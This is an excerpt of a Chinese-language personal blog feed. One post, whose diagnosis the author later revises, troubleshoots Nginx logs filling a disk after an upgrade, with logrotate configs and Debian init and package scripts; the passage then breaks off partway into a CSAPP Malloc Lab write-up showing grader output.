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  <subtitle>A Long Long Way</subtitle>
  <title>z0z0r4's Blog</title>
  <updated>2026-05-20T18:06:47.441Z</updated>
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    <category term="Nginx" scheme="https://blog.z0z0r4.top/tags/Nginx/"/>
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      <![CDATA[<p>记录 Nginx 日志因为 Logrotate 失效而爆盘</p><span id="more"></span><p>TLDR: 更新后发现 Nginx 写入 <code>access.log.1</code> 而 Logrotate 逻辑只覆盖 <code>/var/log/nginx/*.log</code> 导致轮转失效。</p><blockquote><p>Warning:</p><p>本篇文章不完整，仅记录，无验证、诊断</p><p>本篇记录于 2026-05-21 更新，之前推断已废弃，事实性描述保留作为参考</p></blockquote><p>将 <code>cron</code> 执行 <code>logrotate</code> 的频率降低到半小时一次后（之前为五分钟），不再出现写入 <code>access.log.1</code>，同时 <code>journalctl -u logrotate</code> 也没有报错了（之前观察到会和写入 <code>access.log.1</code> 同时出现 <code>logrotate</code> 的报错，但没有存留日志，但时间上应该一致）</p><p>后续 3 天再未触发，也许是过于频繁的 <code>logrotate</code> 导致，并非 Nginx 更新。</p><p>此外重新安装后发现官方的 Logrotate 配置和我之前<s>不知道从哪抄来/旧版本</s>的配置不同，如下</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br></pre></td><td class="code"><pre><span class="line">❯ cat /etc/logrotate.d/nginx.dpkg-dist</span><br><span class="line">/var/log/nginx/*.log &#123;</span><br><span class="line">        daily</span><br><span class="line">        missingok</span><br><span class="line">        rotate 52</span><br><span class="line">        compress</span><br><span class="line">        delaycompress</span><br><span class="line">        notifempty</span><br><span class="line">        create 640 nginx adm</span><br><span class="line">        sharedscripts</span><br><span class="line">        postrotate</span><br><span class="line">                if [ -f /run/nginx.pid ]; then</span><br><span class="line">                        kill -USR1 `cat /run/nginx.pid`</span><br><span class="line">                fi</span><br><span class="line">        endscript</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>其中直接 <code>kill -USR1 `cat /run/nginx.pid` </code>，而不是 <code>invoke-rc.d nginx rotate</code>，也可能是不再出错的变量之一。</p><blockquote><p>仍未为 <code>*\.log\.[0-9]+$</code> 的情况做处理…先观望 😐</p></blockquote><h2 id="以下推断内容已废弃事实性描述保留作为参考"><a class="markdownIt-Anchor" href="#以下推断内容已废弃事实性描述保留作为参考"></a> <strong>以下推断内容已废弃，事实性描述保留作为参考</strong></h2><p>最近由于 Nginx CVE-2026-42945 (<a href="https://depthfirst.com/research/nginx-rift-achieving-nginx-rce-via-an-18-year-old-vulnerability">NGINX Rift</a>) 的影响，需要更新 Nginx，然后触发了一个奇怪的 corner case，导致日志挤满硬盘，在此记录推测的原因。</p><p>前言：周四执行了 <code>apt update &amp;&amp; apt install --only-upgrade nginx</code> 来更新 Nginx，更新完成后确认了 <code>nginx -v</code> 显示的版本号确实更新了，之后就没处理了。</p><p>表现在于每几十个小时之后就会因为 <code>/var/log/nginx</code> 目录占用过大而挤满硬盘，MongoDB Down 了。但第一次触发我没仔细看，发现 <code>/var/log/nginx/access.log.1</code> 和 <code>/var/log/nginx/error.log.1</code> 占了十多G，直接 <code>echo &quot;&quot; &gt; /var/log/nginx/access.log.1</code> 和 <code>echo &quot;&quot; &gt; /var/log/nginx/error.log.1</code> 就恢复了。</p><blockquote><p>其实我此时就该发现的，为什么是 <code>*.log.1</code> 而不是 <code>*.log</code></p></blockquote><p>第二次是周日早上 8 点，一看报警 524，再看怎么又满了，先紧急清理了，一顿捣鼓（检查 <code>/etc/logrotate.d/nginx</code> 配置、检查 <code>crontab -l</code>）后注意到 <code>/var/log/nginx/access.log</code> 和 <code>/var/log/nginx/error.log</code> 都是 0 字节的空文件，而 <code>*.log.1</code> 却占了十多G，意识到可能是更新导致的。（但此时还怀疑过是新版本的轮转日志覆盖了我之前的日志，还是不够敏锐=-=）</p><p>遂试着 <code>systemctl restart nginx</code>，然后 <code>access.log</code> 和 <code>error.log</code> 终于开始正常记录了。</p><hr /><p>参考 Logrotate 的配置文件：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br></pre></td><td class="code"><pre><span class="line">z0z0r4@z0z0r41:~$ cat /etc/logrotate.d/nginx</span><br><span class="line">/var/log/nginx/*.log &#123;</span><br><span class="line">        daily</span><br><span class="line">        missingok</span><br><span class="line">        rotate 14</span><br><span class="line">        compress</span><br><span class="line">        delaycompress</span><br><span class="line">        notifempty</span><br><span class="line">        create 0640 www-data adm</span><br><span class="line">        sharedscripts</span><br><span class="line">        prerotate</span><br><span class="line">                if [ -d /etc/logrotate.d/httpd-prerotate ]; then \</span><br><span class="line">                        run-parts /etc/logrotate.d/httpd-prerotate; \</span><br><span class="line">                fi \</span><br><span class="line">        endscript</span><br><span class="line">        postrotate</span><br><span class="line">                invoke-rc.d nginx rotate &gt;/dev/null 2&gt;&amp;1</span><br><span class="line">        endscript</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>肯定是 <code>postrotate</code> 失败了，但是到底是不是因为更新导致的失败，我试了下没法复现=-=</p><p>这是 Nginx 的包更新时的脚本：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br></pre></td><td class="code"><pre><span class="line">z0z0r4@z0z0r41:~$ cat /var/lib/dpkg/info/nginx.prerm</span><br><span class="line">#!/bin/sh</span><br><span class="line">set -e</span><br><span class="line"></span><br><span class="line">case &quot;$1&quot; in</span><br><span class="line">  remove|remove-in-favour|deconfigure|deconfigure-in-favour)</span><br><span class="line">    if [ -x /etc/init.d/nginx ]; then</span><br><span class="line">      invoke-rc.d nginx stop || exit $?</span><br><span class="line">    fi</span><br><span class="line">    ;;</span><br><span class="line"></span><br><span class="line">  upgrade|failed-upgrade)</span><br><span class="line">    ;;</span><br><span class="line"></span><br><span class="line">  *)</span><br><span class="line">    echo &quot;prerm called with unknown argument \`$1&#x27;&quot; &gt;&amp;2</span><br><span class="line">    exit 1</span><br><span class="line">    ;;</span><br><span class="line">esac</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"></span><br><span class="line">exit 0</span><br><span class="line">z0z0r4@z0z0r41:~$ cat /var/lib/dpkg/info/nginx.postinst</span><br><span class="line">#!/bin/sh</span><br><span class="line">set -e</span><br><span class="line"></span><br><span class="line">case &quot;$1&quot; in</span><br><span class="line">  abort-upgrade|abort-remove|abort-deconfigure|configure)</span><br><span class="line">    ;;</span><br><span class="line">  triggered)</span><br><span class="line">    if invoke-rc.d --quiet nginx status &gt;/dev/null; then</span><br><span class="line">      echo &quot;Triggering nginx reload ...&quot;</span><br><span class="line">      invoke-rc.d nginx reload || true</span><br><span class="line">    fi</span><br><span class="line">    exit 0</span><br><span class="line">    ;;</span><br><span class="line">  *)</span><br><span class="line">    echo &quot;postinst called with unknown argument \`$1&#x27;&quot; &gt;&amp;2</span><br><span class="line">    exit 1</span><br><span class="line">    ;;</span><br><span class="line">esac</span><br><span class="line"></span><br><span class="line">if invoke-rc.d --quiet nginx status &gt;/dev/null; then</span><br><span class="line">  invoke-rc.d nginx upgrade || invoke-rc.d nginx restart</span><br><span class="line">  exit $?</span><br><span class="line">else</span><br><span class="line">  if ! invoke-rc.d nginx start; then</span><br><span class="line">    echo &quot;Failed to start NGINX in postinst script, please check the logs&quot; &gt;&amp;2</span><br><span class="line">    exit 0</span><br><span class="line">  fi</span><br><span class="line">fi</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"></span><br><span class="line">exit 0</span><br></pre></td></tr></table></figure><p>里面更新后会调用 <code>invoke-rc.d nginx upgrade</code>。</p><p>这是 <code>/etc/init.d/nginx</code>：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br><span class="line">110</span><br><span class="line">111</span><br><span class="line">112</span><br><span class="line">113</span><br><span class="line">114</span><br><span class="line">115</span><br><span class="line">116</span><br><span class="line">117</span><br><span class="line">118</span><br><span class="line">119</span><br><span class="line">120</span><br><span class="line">121</span><br><span class="line">122</span><br><span class="line">123</span><br><span class="line">124</span><br><span class="line">125</span><br><span class="line">126</span><br><span class="line">127</span><br><span class="line">128</span><br><span class="line">129</span><br><span class="line">130</span><br><span class="line">131</span><br><span class="line">132</span><br><span class="line">133</span><br><span class="line">134</span><br><span class="line">135</span><br><span class="line">136</span><br><span class="line">137</span><br><span class="line">138</span><br><span class="line">139</span><br><span class="line">140</span><br><span class="line">141</span><br><span class="line">142</span><br><span class="line">143</span><br><span class="line">144</span><br><span class="line">145</span><br><span class="line">146</span><br><span class="line">147</span><br><span class="line">148</span><br><span class="line">149</span><br><span class="line">150</span><br><span class="line">151</span><br><span class="line">152</span><br><span class="line">153</span><br><span class="line">154</span><br><span class="line">155</span><br><span class="line">156</span><br><span class="line">157</span><br><span class="line">158</span><br><span class="line">159</span><br><span class="line">160</span><br><span class="line">161</span><br><span class="line">162</span><br><span class="line">163</span><br><span class="line">164</span><br><span class="line">165</span><br><span class="line">166</span><br><span class="line">167</span><br><span class="line">168</span><br><span class="line">169</span><br><span class="line">170</span><br><span class="line">171</span><br><span class="line">172</span><br><span class="line">173</span><br><span class="line">174</span><br><span class="line">175</span><br><span class="line">176</span><br><span class="line">177</span><br><span class="line">178</span><br><span class="line">179</span><br><span class="line">180</span><br><span class="line">181</span><br><span class="line">182</span><br><span class="line">183</span><br><span class="line">184</span><br><span class="line">185</span><br><span class="line">186</span><br><span class="line">187</span><br><span class="line">188</span><br><span class="line">189</span><br><span class="line">190</span><br><span class="line">191</span><br><span class="line">192</span><br><span class="line">193</span><br><span class="line">194</span><br><span class="line">195</span><br><span class="line">196</span><br><span class="line">197</span><br></pre></td><td class="code"><pre><span class="line">z0z0r4@z0z0r41:~$ cat /etc/init.d/nginx</span><br><span class="line">#!/bin/sh</span><br><span class="line"></span><br><span class="line">### BEGIN INIT INFO</span><br><span class="line"># Provides:       nginx</span><br><span class="line"># Required-Start:    $local_fs $remote_fs $network $syslog $named</span><br><span class="line"># Required-Stop:     $local_fs $remote_fs $network $syslog $named</span><br><span class="line"># Default-Start:     2 3 4 5</span><br><span class="line"># Default-Stop:      0 1 6</span><br><span class="line"># Short-Description: starts the nginx web server</span><br><span class="line"># Description:       starts nginx using start-stop-daemon</span><br><span class="line">### END INIT INFO</span><br><span class="line"></span><br><span class="line">PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin</span><br><span class="line">DAEMON=/usr/sbin/nginx</span><br><span class="line">NAME=nginx</span><br><span class="line">DESC=nginx</span><br><span class="line"></span><br><span class="line"># Include nginx defaults if available</span><br><span class="line">if [ -r /etc/default/nginx ]; then</span><br><span class="line">        . /etc/default/nginx</span><br><span class="line">fi</span><br><span class="line"></span><br><span class="line">STOP_SCHEDULE=&quot;$&#123;STOP_SCHEDULE:-QUIT/5/TERM/5/KILL/5&#125;&quot;</span><br><span class="line"></span><br><span class="line">test -x $DAEMON || exit 0</span><br><span class="line"></span><br><span class="line">. /lib/init/vars.sh</span><br><span class="line">. /lib/lsb/init-functions</span><br><span class="line"></span><br><span class="line"># Try to extract nginx pidfile</span><br><span class="line">PID=$(cat /etc/nginx/nginx.conf | grep -Ev &#x27;^\s*#&#x27; | awk &#x27;BEGIN &#123; RS=&quot;[;&#123;&#125;]&quot; &#125; &#123; if ($1 == &quot;pid&quot;) print $2 &#125;&#x27; | head -n1)</span><br><span class="line">if [ -z &quot;$PID&quot; ]; then</span><br><span class="line">        PID=/run/nginx.pid</span><br><span class="line">fi</span><br><span class="line"></span><br><span class="line">if [ -n &quot;$ULIMIT&quot; ]; then</span><br><span class="line">        # Set ulimit if it is set in /etc/default/nginx</span><br><span class="line">        ulimit $ULIMIT</span><br><span class="line">fi</span><br><span class="line"></span><br><span class="line">start_nginx() &#123;</span><br><span class="line">        # Start the daemon/service</span><br><span class="line">        #</span><br><span class="line">        # Returns:</span><br><span class="line">        #   0 if daemon has been started</span><br><span class="line">        #   1 if daemon was already running</span><br><span class="line">        #   2 if daemon could not be started</span><br><span class="line">        start-stop-daemon --start --quiet --pidfile $PID --exec $DAEMON --test &gt; /dev/null \</span><br><span class="line">                || return 1</span><br><span class="line">        start-stop-daemon --start --quiet --pidfile $PID --exec $DAEMON -- \</span><br><span class="line">                $DAEMON_OPTS 2&gt;/dev/null \</span><br><span class="line">                || return 2</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">test_config() &#123;</span><br><span class="line">        # Test the nginx configuration</span><br><span class="line">        $DAEMON -t $DAEMON_OPTS &gt;/dev/null 2&gt;&amp;1</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">stop_nginx() &#123;</span><br><span class="line">        # Stops the daemon/service</span><br><span class="line">        #</span><br><span class="line">        # Return</span><br><span class="line">        #   0 if daemon has been stopped</span><br><span class="line">        #   1 if daemon was already stopped</span><br><span class="line">        #   2 if daemon could not be stopped</span><br><span class="line">        #   other if a failure occurred</span><br><span class="line">        start-stop-daemon --stop --quiet --retry=$STOP_SCHEDULE --pidfile $PID --name $NAME</span><br><span class="line">        RETVAL=&quot;$?&quot;</span><br><span class="line">        sleep 1</span><br><span class="line">        return &quot;$RETVAL&quot;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">reload_nginx() &#123;</span><br><span class="line">        # Function that sends a SIGHUP to the daemon/service</span><br><span class="line">        start-stop-daemon --stop --signal HUP --quiet --pidfile $PID --name $NAME</span><br><span class="line">        return 0</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">rotate_logs() &#123;</span><br><span class="line">        # Rotate log files</span><br><span class="line">        start-stop-daemon --stop --signal USR1 --quiet --pidfile $PID --name $NAME</span><br><span class="line">        return 0</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">upgrade_nginx() &#123;</span><br><span class="line">        # Online upgrade nginx executable</span><br><span class="line">        # http://nginx.org/en/docs/control.html</span><br><span class="line">        #</span><br><span class="line">        # Return</span><br><span class="line">        #   0 if nginx has been successfully upgraded</span><br><span class="line">        #   1 if nginx is not running</span><br><span class="line">        #   2 if the pid files were not created on time</span><br><span class="line">        #   3 if the old master could not be killed</span><br><span class="line">        if start-stop-daemon --stop --signal USR2 --quiet --pidfile $PID --name $NAME; then</span><br><span class="line">                # Wait for both old and new master to write their pid file</span><br><span class="line">                while [ ! -s &quot;$&#123;PID&#125;.oldbin&quot; ] || [ ! -s &quot;$&#123;PID&#125;&quot; ]; do</span><br><span class="line">                        cnt=`expr $cnt + 1`</span><br><span class="line">                        if [ $cnt -gt 10 ]; then</span><br><span class="line">                                return 2</span><br><span class="line">                        fi</span><br><span class="line">                        sleep 1</span><br><span class="line">                done</span><br><span class="line">                # Everything is ready, gracefully stop the old master</span><br><span class="line">                if start-stop-daemon --stop --signal QUIT --quiet --pidfile &quot;$&#123;PID&#125;.oldbin&quot; --name $NAME; then</span><br><span class="line">                        return 0</span><br><span class="line">                else</span><br><span class="line">                        return 3</span><br><span class="line">                fi</span><br><span class="line">        else</span><br><span class="line">                return 1</span><br><span class="line">        fi</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">case &quot;$1&quot; in</span><br><span class="line">        start)</span><br><span class="line">                log_daemon_msg &quot;Starting $DESC&quot; &quot;$NAME&quot;</span><br><span class="line">                start_nginx</span><br><span class="line">                case &quot;$?&quot; in</span><br><span class="line">                        0|1) log_end_msg 0 ;;</span><br><span class="line">                        2)   log_end_msg 1 ;;</span><br><span class="line">                esac</span><br><span class="line">                ;;</span><br><span class="line">        stop)</span><br><span class="line">                log_daemon_msg &quot;Stopping $DESC&quot; &quot;$NAME&quot;</span><br><span class="line">                stop_nginx</span><br><span class="line">                case &quot;$?&quot; in</span><br><span class="line">                        0|1) log_end_msg 0 ;;</span><br><span class="line">                        2)   log_end_msg 1 ;;</span><br><span class="line">                esac</span><br><span class="line">                ;;</span><br><span class="line">        restart)</span><br><span class="line">                log_daemon_msg &quot;Restarting $DESC&quot; &quot;$NAME&quot;</span><br><span class="line"></span><br><span class="line">                # Check configuration before stopping nginx</span><br><span class="line">                if ! test_config; then</span><br><span class="line">                        log_end_msg 1 # Configuration error</span><br><span class="line">                        exit $?</span><br><span class="line">                fi</span><br><span class="line"></span><br><span class="line">                stop_nginx</span><br><span class="line">                case &quot;$?&quot; in</span><br><span class="line">                        0|1)</span><br><span class="line">                                start_nginx</span><br><span class="line">                                case &quot;$?&quot; in</span><br><span class="line">                                        0) log_end_msg 0 ;;</span><br><span class="line">                                        1) log_end_msg 1 ;; # Old process is still running</span><br><span class="line">                                        *) log_end_msg 1 ;; # Failed to start</span><br><span class="line">                                esac</span><br><span class="line">                                ;;</span><br><span class="line">                        *)</span><br><span class="line">                                # Failed to stop</span><br><span class="line">                                log_end_msg 1</span><br><span class="line">                                ;;</span><br><span class="line">                esac</span><br><span class="line">                ;;</span><br><span class="line">        reload|force-reload)</span><br><span class="line">                log_daemon_msg &quot;Reloading $DESC configuration&quot; &quot;$NAME&quot;</span><br><span class="line"></span><br><span class="line">                # Check configuration before stopping nginx</span><br><span class="line">                #</span><br><span class="line">                # This is not entirely correct since the on-disk nginx binary</span><br><span class="line">                # may differ from the in-memory one, but that&#x27;s not common.</span><br><span class="line">                # We prefer to check the configuration and return an error</span><br><span class="line">                # to the administrator.</span><br><span class="line">                if ! test_config; then</span><br><span class="line">                        log_end_msg 1 # Configuration error</span><br><span class="line">                        exit $?</span><br><span class="line">                fi</span><br><span class="line"></span><br><span class="line">                reload_nginx</span><br><span class="line">                log_end_msg $?</span><br><span class="line">                ;;</span><br><span class="line">        configtest|testconfig)</span><br><span class="line">                log_daemon_msg &quot;Testing $DESC configuration&quot;</span><br><span class="line">                test_config</span><br><span class="line">                log_end_msg $?</span><br><span class="line">                ;;</span><br><span class="line">        status)</span><br><span class="line">                status_of_proc -p $PID &quot;$DAEMON&quot; &quot;$NAME&quot; &amp;&amp; exit 0 || exit $?</span><br><span class="line">                ;;</span><br><span class="line">        upgrade)</span><br><span class="line">                log_daemon_msg &quot;Upgrading binary&quot; &quot;$NAME&quot;</span><br><span class="line">                upgrade_nginx</span><br><span class="line">                log_end_msg $?</span><br><span class="line">                ;;</span><br><span class="line">        rotate)</span><br><span class="line">                log_daemon_msg &quot;Re-opening $DESC log files&quot; &quot;$NAME&quot;</span><br><span class="line">                rotate_logs</span><br><span class="line">                log_end_msg $?</span><br><span class="line">                ;;</span><br><span class="line">        *)</span><br><span class="line">                echo &quot;Usage: $NAME &#123;start|stop|restart|reload|force-reload|status|configtest|rotate|upgrade&#125;&quot; &gt;&amp;2</span><br><span class="line">                exit 3</span><br><span class="line">                ;;</span><br><span class="line">esac</span><br></pre></td></tr></table></figure><p>里面 <code>rotate</code> 函数是通过向 Nginx 发送 <code>USR1</code> 信号来让它重新打开日志文件的，但是都是静默发生，一直返回 0 的，如果失败了确实无法得知。</p><p>肯定是 <code>rotate</code> 失败了，但我没法复现出来，在此记录，下次遇到再跟踪下=-=。</p>]]>
    </content>
    <id>https://blog.z0z0r4.top/2026/05/17/nginx-upgrade-logrotate/</id>
    <link href="https://blog.z0z0r4.top/2026/05/17/nginx-upgrade-logrotate/"/>
    <published>2026-05-17T03:58:33.000Z</published>
    <summary>
      <![CDATA[<p>记录 Nginx 日志因为 Logrotate 失效而爆盘</p>]]>
    </summary>
    <title>Nginx 和 Logrotate 的化学反应</title>
    <updated>2026-05-20T18:06:47.441Z</updated>
  </entry>
  <entry>
    <author>
      <name>z0z0r4</name>
    </author>
    <category term="study-notes" scheme="https://blog.z0z0r4.top/categories/study-notes/"/>
    <category term="CS" scheme="https://blog.z0z0r4.top/categories/study-notes/CS/"/>
    <category term="CSAPP" scheme="https://blog.z0z0r4.top/categories/study-notes/CS/CSAPP/"/>
    <category term="study-notes" scheme="https://blog.z0z0r4.top/tags/study-notes/"/>
    <category term="CSAPP" scheme="https://blog.z0z0r4.top/tags/CSAPP/"/>
    <content>
      <![CDATA[<p>做梦都是指针和利用率=-=</p><span id="more"></span><p>封面取自莉可莉丝第一季 EP5 02:39，很符合我的精神状态。</p><p>参考过以下内容：</p><ul><li><p><a href="https://arthals.ink/blog/malloc-lab">更适合北大宝宝体质的 Malloc Lab 踩坑记</a></p><p>Amazing！很详细，但我自己实现的时候没细看，不然我吃什么 =-=</p></li><li><p><a href="https://www.wdxtub.com/blog/csapp/thick-csapp-lab-6">小土刀 【读厚 CSAPP】VI Malloc Lab</a></p><p>并没有具体的细节，但可以参考指针操作，少走点弯路</p></li><li><p><a href="https://github.com/StuartSul/CSAPP3e_MallocLab_Implementation">Github StuartSul/CSAPP3e_MallocLab_Implementation</a></p><p>高达 98/100 分的实现（这里面有些地方我个人觉得并非最优解，但是在最后走投无路时，以他的实现为参考，我终于把 <code>realloc</code> 的利用率终于拉上来了…见后文记录）</p></li></ul><p>从 <a href="https://csapp.cs.cmu.edu/3e/malloclab-handout.tar">Malloclab-Handout</a> 下载本实验，但是这里面缺少了 <code>traces</code> 文件夹，可以在我的仓库 <a href="https://github.com/z0z0r4/CSAPP-LAB/tree/main/malloclab">z0z0r4/CSAPP-LAB</a> 里面下载（我也是从别的仓库下载的=-=）</p><p>trace 文件，指的是 <code>traces</code> 文件夹里面的 <code>.rep</code> 文件，这些文件记录了 <code>malloc</code>、<code>free</code> 和 <code>realloc</code> 的调用序列，测试程序会按照这些序列来调用你的 <code>malloc</code> 实现。</p><p>其中 <code>mdriver</code> 是评测程序：</p><ul><li><code>-h</code> 可以查看帮助</li><li><code>-f trace.rep</code> 可以测试指定的 trace 文件</li><li><code>-t &lt;dir&gt;</code> 可以指定测试文件的文件夹</li><li><code>-v</code> 用于显示评测结果</li><li><code>-V</code> 用于显示额外的调试信息（实际上并没有显示什么有用的信息）</li><li><code>-l</code> 显示 glibc malloc 的测试结果，作为对比（但是如下可见它不显示 glibc malloc 的利用率，只有吞吐量）</li></ul><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line">z0z0r4@DESKTOP-862S1HV:~/CSAPP-LAB/malloclab$ ./mdriver -h</span><br><span class="line">Usage: mdriver [-hvVal] [-f &lt;file&gt;] [-t &lt;dir&gt;]</span><br><span class="line">Options</span><br><span class="line">        -a         Don&#x27;t check the team structure.</span><br><span class="line">        -f &lt;file&gt;  Use &lt;file&gt; as the trace file.</span><br><span class="line">        -g         Generate summary info for autograder.</span><br><span class="line">        -h         Print this message.</span><br><span class="line">        -l         Run libc malloc as well.</span><br><span class="line">        -t &lt;dir&gt;   Directory to find default traces.</span><br><span class="line">        -v         Print per-trace performance breakdowns.</span><br><span class="line">        -V         Print additional debug info.</span><br></pre></td></tr></table></figure><p>评测结果会显示每个 trace 的 <code>util</code>（利用率）和 <code>thru</code>（吞吐量）信息，以及平均利用率和总耗时。</p><ul><li>valid: 是否正确</li><li>util: 利用率，越高越好</li><li>ops: 操作数量，这是根据 trace 文件固定的</li><li>secs: 耗时，越低越好</li><li>Kops: 吞吐量，越高越好</li></ul><p>经过长达六天的折磨，终于将利用率凹到了 97%，最终得分 58 (util) + 40 (thru) = 98/100。</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br></pre></td><td class="code"><pre><span class="line">Team Name:咕咕咕</span><br><span class="line">Member 1 :z0z0r4:z0z0r4@outlook.com</span><br><span class="line">Using default tracefiles in traces/</span><br><span class="line">Measuring performance with gettimeofday().</span><br><span class="line"></span><br><span class="line">Results for libc malloc:</span><br><span class="line">trace  valid  util     ops      secs  Kops</span><br><span class="line"> 0       yes    0%    5694  0.000414 13767</span><br><span class="line"> 1       yes    0%    5848  0.000265 22035</span><br><span class="line"> 2       yes    0%    6648  0.001068  6225</span><br><span class="line"> 3       yes    0%    5380  0.001067  5041</span><br><span class="line"> 4       yes    0%   14400  0.000436 32997</span><br><span class="line"> 5       yes    0%    4800  0.000936  5127</span><br><span class="line"> 6       yes    0%    4800  0.000587  8177</span><br><span class="line"> 7       yes    0%   12000  0.000311 38610</span><br><span class="line"> 8       yes    0%   24000  0.000552 43478</span><br><span class="line"> 9       yes    0%   14401  0.001392 10349</span><br><span class="line">10       yes    0%   14401  0.000205 70215</span><br><span class="line">Total           0%  112372  0.007233 15536</span><br><span class="line"></span><br><span class="line">Results for mm malloc:</span><br><span class="line">trace  valid  util     ops      secs  Kops</span><br><span class="line"> 0       yes   99%    5694  0.000453 12570</span><br><span class="line"> 1       yes   99%    5848  0.000468 12509</span><br><span class="line"> 2       yes   99%    6648  0.000575 11566</span><br><span class="line"> 3       yes   99%    5380  0.000443 